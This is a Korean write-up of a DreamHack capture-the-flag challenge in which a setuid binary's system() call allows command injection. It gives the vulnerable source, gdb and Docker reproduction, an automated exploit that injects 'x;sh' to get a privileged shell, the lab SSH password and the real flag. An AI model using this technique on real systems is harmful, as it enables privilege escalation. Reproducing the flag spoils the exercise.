[🥈 Silver 4] setuid 바이너리가 스스로 안전장치를 끄는 순간 — DreamHack file-special-bit 풀이

sshpass -p dhbeginnerchall1 ssh -p 10023 \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR \
  chall@host3.dreamhack.games 'id; ls -l; ls -ld /home/dream; cat flag'

man dash | grep -B1 -A5 -- "-p priviliged"

//Name: chall.c
//Compile: gcc chall.c -o chall -no-pie -fno-stack-protector
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
        if(argc == 2){
                char filename[10];
                char cmd[20];
                int ruid = 0;
                int euid = 0;
                memcpy(filename, argv[1], sizeof(filename));
                snprintf(cmd, 19, "cat %s", filename);
                printf("Your ruid : \n");
                scanf("%d", &ruid);
                printf("Your euid : \n");
                scanf("%d", &euid);
                if(ruid == getuid() && euid == geteuid()) {
                    setreuid(geteuid(), geteuid());
                    printf("Your ruid : %d Your euid : %d\n", getuid(), geteuid());
                    system(cmd);
                } else {
                    printf("No.\n");
                }
 
        }
        else {
            printf("argument...\n");
        }
        return 0;
}

file chall; readelf -h chall | grep -E "Type|Entry"; nm -D chall

# annot.sed — objdump 출력에 주석만 얹는다. 명령·주소는 손대지 않는다.
/^  40124a:/s/$/        <-- rax = argv[1]/
/^  40124d:/s/$/        <-- argv[1] 앞 8바이트/
/^  401250:/s/$/        <-- filename[0..7]  (rbp-0x1a)/
/^  401254:/s/$/        <-- argv[1][8..9]  2바이트 더/
/^  401258:/s/$/        <-- filename[8..9] = memcpy 10바이트 끝/
/^  401260:/s/$/        <-- rdi = cmd  (rbp-0x30)/
/^  40126e:/s/$/        <-- esi = 0x13 = snprintf 상한 19/
/^  40127b:/s/$/        <-- snprintf(cmd, 19, "cat %s", filename)/
/^  4012d4:/s/$/        <-- getuid()/
/^  4012dc:/s/$/        <-- 내가 넣은 ruid 와 비교/
/^  4012e0:/s/$/        <-- geteuid()/
/^  4012e8:/s/$/        <-- 내가 넣은 euid 와 비교/
/^  4012fc:/s/$/        <-- setreuid(dream, dream)  real uid 까지 dream/
/^  40132c:/s/$/        <-- system(cmd)  여기서 \/bin\/sh 로/

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x401242 --stop-address=0x401280 chall | tail -n +8 | sed -f annot.sed

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x4012d4 --stop-address=0x401331 chall | tail -n +8 | sed -f annot.sed

# cmds.gdb — system(cmd) 호출 직전에 멈춰 스택에 실제로 뭐가 들어갔는지 본다.
set confirm off
set pagination off
 
break *0x40132c
run /home/dream/flag < uids.txt
 
printf "\n--- system() 직전 스택 ---\n"
printf "filename[10] @ rbp-0x1a : %s\n", (char *)($rbp-0x1a)
printf "cmd[20]      @ rbp-0x30 : %s\n", (char *)($rbp-0x30)
printf "system() 인자 rdi       : %s\n", (char *)$rdi
printf "\ncmd 버퍼 원본 20바이트:\n"
x/20bx $rbp-0x30
printf "\nfilename 버퍼 10바이트 + 그 뒤 6바이트 (끝에 NUL 이 있나?):\n"
x/16bx $rbp-0x1a
continue

printf '1000\n1000\n' > uids.txt
gdb -q -batch -x cmds.gdb ./chall

# file-special-bit — 로컬 재현 환경
# 라이브 서버에서 확인한 배치를 그대로 옮겼다.
#   /home/chall/chall  -rwsr-xr-x dream dream   (setuid)
#   /home/chall/flag   -r--r----- dream dream   (chall 은 못 읽는다)
#   /bin/sh -> dash
#
# 대조군 chall_nosetreuid 는 컨테이너 안에서 컴파일한다.
# 호스트에서 빌드하면 glibc 가 앞서서(GLIBC_2.38) 22.04 에서 안 뜬다.
FROM ubuntu:22.04 AS builder
RUN apt-get update && apt-get install -y --no-install-recommends gcc libc6-dev
COPY chall_nosetreuid.c /tmp/
RUN gcc /tmp/chall_nosetreuid.c -o /tmp/chall_nosetreuid -no-pie -fno-stack-protector
 
FROM ubuntu:22.04
 
RUN useradd -m -u 1000 -s /bin/bash chall && \
    useradd -m -u 2123 -s /bin/bash dream
 
COPY chall /home/chall/chall
COPY --from=builder /tmp/chall_nosetreuid /home/chall/chall_nosetreuid
COPY flag /home/chall/flag
 
RUN chown dream:dream /home/chall/chall /home/chall/chall_nosetreuid /home/chall/flag && \
    chmod 4755 /home/chall/chall /home/chall/chall_nosetreuid && \
    chmod 440  /home/chall/flag && \
    chmod 750 /home/dream
 
USER chall
WORKDIR /home/chall
CMD ["/bin/bash"]

                if(ruid == getuid() && euid == geteuid()) {
                    /* setreuid(geteuid(), geteuid());  <-- 이 줄이 빠졌다 */
                    printf("Your ruid : %d Your euid : %d\n", getuid(), geteuid());
                    system(cmd);

docker run --rm fsb-repro bash -lc 'id; ls -l; cat flag'

#!/usr/bin/env python3
"""setreuid 한 줄의 유무가 무엇을 가르는지 로컬 재현 컨테이너에서 직접 대조한다.
 
chall            : 원본 (system() 직전에 setreuid(geteuid(), geteuid()))
chall_nosetreuid : 그 한 줄만 뺀 것 (나머지 코드 동일)
 
둘 다 setuid(dream) 이고 argv[1] 도 같다. 차이는 sh 가 권한을 떨어뜨리느냐뿐이다.
"""
import pexpect
 
RUID, EUID = "1000", "2123"     # chall / dream
 
 
def run(binary: str, arg: str) -> str:
    # -t 필수: stdout 이 파이프면 stdio 가 전버퍼링돼 출력 순서가 뒤집힌다
    c = pexpect.spawn("docker", ["run", "--rm", "-it", "fsb-repro",
                                 f"/home/chall/{binary}", arg],
                      encoding="utf-8", timeout=10)
    c.expect("Your ruid :")
    c.sendline(RUID)
    c.expect("Your euid :")
    c.sendline(EUID)
    try:
        c.expect(pexpect.EOF)
    except pexpect.TIMEOUT:
        pass
    out = c.before
    c.terminate(force=True)
    return "\n".join(l for l in out.replace("\r", "").split("\n")[1:] if l.strip())
 
 
CASES = [
    ("chall",            "flag"),   # cat flag       — dream 이라 읽힌다
    ("chall_nosetreuid", "flag"),   # cat flag       — sh 가 권한을 떨어뜨려 막힌다
    ("chall",            "x;id"),   # cat x; id      — 주입된 명령이 도는 uid 확인
    ("chall_nosetreuid", "x;id"),   # cat x; id      — 대조군
]
 
for binary, arg in CASES:
    print(f"===== ./{binary} '{arg}' =====")
    print(run(binary, arg))
    print()

#!/usr/bin/env python3
"""file-special-bit (DreamHack, Silver 4 / misc) — 자동 익스플로잇
 
setuid(dream) 바이너리 chall 의 구조:
 
    char filename[10]; char cmd[20];
    memcpy(filename, argv[1], sizeof(filename));   // 10바이트
    snprintf(cmd, 19, "cat %s", filename);         // 18글자 + NUL
    scanf("%d", &ruid); scanf("%d", &euid);
    if (ruid == getuid() && euid == geteuid()) {
        setreuid(geteuid(), geteuid());            // real = effective = dream
        system(cmd);
    }
 
argv[1] 이 그대로 `/bin/sh -c "cat <argv[1]>"` 에 들어가므로 `;` 로 명령을 덧붙일 수 있다.
보통 setuid 바이너리의 system() 은 sh 가 uid != euid 를 보고 권한을 떨어뜨려 막히는데,
이 문제는 그 직전에 setreuid(geteuid(), geteuid()) 로 real uid 까지 dream 으로 맞춰 버려서
sh 가 떨어뜨릴 권한이 남지 않는다. 그래서 주입한 셸이 dream 그대로 뜬다.
 
filename 이 10바이트라 `/home/dream/flag` 같은 전체 경로는 `/home/drea` 로 잘린다.
그래서 경로를 넣는 게 아니라 셸을 띄워서 dream 권한으로 flag 를 읽는다.
 
사용법:
    python3 solve.py --docker                                  # 로컬 재현 컨테이너
    python3 solve.py --host host1.dreamhack.games --port 10001 # 라이브 서버
"""
import argparse
import re
import sys
 
import pexpect
 
SSH_USER = "chall"
SSH_PASS = "dhbeginnerchall1"
PAYLOAD = "x;sh"          # cat x (실패) → sh  ※ 10바이트 이내여야 한다
MARK = "FSBMARK"
FLAG_RE = re.compile(r"DH\{[^}\s]+\}")
ANSI_RE = re.compile(r"\x1b\[[0-9;?]*[a-zA-Z]|\x1b\][^\x07]*\x07|\x1b[=>]")
 
 
def run(c, cmd, timeout=20):
    """셸에 명령을 넣고 마커까지의 출력을 돌려준다.
 
    마커를 `FSB"MARK"` 로 쪼개 보내는 게 요령이다. 그대로 보내면 tty 가 명령줄을
    되울릴 때 그 에코가 먼저 마커에 걸려서, 출력 대신 명령 문자열을 읽게 된다.
    """
    c.sendline(f'{cmd}; echo FSB"MARK"')
    c.expect(MARK + r"\r?\n", timeout=timeout)
    body = ANSI_RE.sub("", c.before).replace("\r", "")
    # 첫 줄은 셸이 되돌려준 명령 자체라 버린다
    return "\n".join(body.split("\n")[1:]).strip()
 
 
def connect(args):
    if args.docker:
        c = pexpect.spawn("docker", ["run", "--rm", "-it", args.image, "/bin/bash"],
                          encoding="utf-8", timeout=30)
        c.sendline("")
        return c
    c = pexpect.spawn(
        "ssh",
        ["-tt", "-p", str(args.port),
         "-o", "StrictHostKeyChecking=no", "-o", "UserKnownHostsFile=/dev/null",
         "-o", "LogLevel=ERROR",
         f"{SSH_USER}@{args.host}"],
        encoding="utf-8", timeout=45)
    c.expect(["[Pp]assword:", "passphrase"], timeout=45)
    c.sendline(SSH_PASS)
    return c
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--docker", action="store_true", help="로컬 재현 컨테이너에 붙는다")
    ap.add_argument("--image", default="fsb-repro")
    ap.add_argument("--host")
    ap.add_argument("--port", type=int)
    a = ap.parse_args()
    if not a.docker and not (a.host and a.port):
        ap.error("--docker 이거나 --host/--port 를 줘야 한다")
 
    c = connect(a)
 
    # 1) setuid 바이너리 위치와 소유자를 찾는다 (경로/uid 를 하드코딩하지 않는다)
    #    이름이 chall 인 것을 먼저 본다 — 재현 환경에는 대조군 바이너리도 같이 들어 있어
    #    범위를 넓게 잡으면 그쪽이 먼저 걸린다.
    binpath = run(c, "find / -perm -4000 -type f -name chall 2>/dev/null | head -1")
    binpath = binpath.split("\n")[-1].strip()
    if not binpath.startswith("/"):
        binpath = run(c, "find / -perm -4000 -type f 2>/dev/null "
                         "| grep -vE '^/(usr|bin|sbin|opt)/' | head -1")
        binpath = binpath.split("\n")[-1].strip()
    print(f"[+] setuid 바이너리 : {binpath}")
 
    ruid = run(c, "id -u").split("\n")[-1].strip()
    euid = run(c, f"stat -c %u {binpath}").split("\n")[-1].strip()
    print(f"[+] getuid()={ruid}  geteuid()={euid}  (바이너리 소유자)")
 
    # 2) 명령 주입 — cat 은 실패시키고 뒤의 sh 를 dream 권한으로 띄운다
    print(f"[*] 실행: {binpath} '{PAYLOAD}'")
    c.sendline(f"{binpath} '{PAYLOAD}'")
    c.expect("Your ruid :")
    c.sendline(ruid)
    c.expect("Your euid :")
    c.sendline(euid)
    c.expect(r"Your ruid : \d+ Your euid : \d+")
    print(f"[+] 검사 통과 → {c.after.strip()}")
 
    # 3) 뜬 셸이 정말 dream 인지 확인
    who = run(c, "id")
    print(f"[+] 주입된 셸 : {who.splitlines()[-1] if who else '?'}")
 
    # 4) flag 읽기 — 홈에 있는 flag 를 먼저 보고, 없으면 찾아 나선다
    out = run(c, "cat flag 2>/dev/null || cat /home/dream/flag 2>/dev/null || "
                 "find / -name 'flag*' -type f 2>/dev/null | head -5", timeout=60)
    m = FLAG_RE.search(out)
    if not m:
        # 경로만 나왔으면 그 경로를 읽는다
        for path in out.split("\n"):
            path = path.strip()
            if not path.startswith("/"):
                continue
            body = run(c, f"cat {path}")
            m = FLAG_RE.search(body)
            if m:
                break
    c.sendline("exit")
    c.close(force=True)
 
    if not m:
        print("[-] flag 를 못 찾았다. 마지막 출력:\n" + out)
        sys.exit(1)
    print(f"\nFLAG: {m.group(0)}")
 
 
if __name__ == "__main__":
    main()

FLAG: DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}

#!/usr/bin/env bash
# file-special-bit (DreamHack, Silver 4) — 한 방 재현
#
#   ./reproduce.sh <host> <port>   라이브 서버에 붙어 진짜 flag 를 따고 대조한다
#   ./reproduce.sh --local         로컬 docker 재현으로 기법이 도는지만 확인한다
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT='DH{22bb569daa84da7bda39cd78607ab31a88958725a52b78d87542425782d9a861}'
 
usage() { sed -n '2,9p' "$0"; exit 2; }
[ $# -ge 1 ] || usage
 
if [ "$1" = "--local" ]; then
    echo "[*] 로컬 재현 컨테이너 빌드"
    ( cd local_repro && cp -f ../extracted/chall . && docker build -q -t fsb-repro . >/dev/null )
    OUT=$(timeout 300 python3 solve.py --docker 2>&1) || true
    echo "$OUT" | tail -8
    # 로컬 flag 는 재현용 더미다. 이걸 정답처럼 통과시키지 않는다.
    if printf '%s' "$OUT" | grep -q 'DH{LOCAL_REPRO_DUMMY_not_the_real_flag}'; then
        echo; echo "✅ 기법 확인 (로컬 재현 더미 flag). 진짜 flag 는 라이브 서버에서만 나온다."
        exit 0
    fi
    echo; echo "❌ FAIL — 로컬 재현에서 더미 flag 를 못 뽑았다"; exit 1
fi
 
[ $# -eq 2 ] || usage
OUT=$(timeout 300 python3 solve.py --host "$1" --port "$2" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$FLAG" = "$EXPECT" ]; then
    echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1